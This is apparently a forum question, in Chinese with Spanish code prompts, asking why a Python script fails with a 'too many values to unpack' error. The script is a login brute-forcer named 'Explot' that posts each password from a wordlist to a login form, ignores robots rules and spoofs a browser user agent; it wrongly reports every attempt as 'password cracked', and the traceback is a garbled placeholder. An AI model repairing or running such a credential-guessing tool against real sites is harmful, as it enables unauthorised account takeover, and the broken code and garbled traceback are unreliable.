伙计们,我有这段代码,但当我执行时,响应是ValueError:太多的值无法解包。。。我的问题在哪里?在#!usr/bin/python
import requests
import mechanize
import sys
class Explot(object):
def __init__(self):
self.url = 'https://example.com/auth/login/'
self.listbr= open('Force.txt','r').readlines()
self.PodHtUsear=str(raw_input('Ingresa Nombre Del Campo Del Usuario ::: ' + ' '))
self.PasHtUsearP=str(raw_input('Ingresa Nombre Del Campo De la Contraseña ::: ' + ' '))
self.IngrDa=str(raw_input('Ingresa Usuario :::' + ' '))
for line in self.listbr:
self.passd=line.strip()
self.http=requests.post(self.url, data={'%s'%self.PodHtUsear:self.IngrDa,
'%s'%self.PasHtUsearP:self.passd,
'login':'submit'})
content = self.http.content
sys.stderr.write('password cracked: : : ' + self.passd + '\n')
self.Solmen(True,False)
def Solmen(self,FormeHttp,DisfoHttp):
nav = mechanize.Browser()
nav.set_handle_robots(DisfoHttp)
nav.set_handle_equiv(FormeHttp)
nav.set_handle_referer(FormeHttp)
nav.set_handle_redirect(FormeHttp)
nav.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=0.1)
nav.addheaders = [('User-agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36')]
nav.open('%s'%self.url)
nav.select_form(nr=0)
nav.form['%s'%self.PodHtUsear] = self.IngrDa
nav.form['%s'%self.PasHtUsearP]=self.passd
submi= nav.submit()
print ('Url : %s'%submi.geturl())
if __name__=='__main__':
PostMe = Explot()
回溯:
^{pr2}$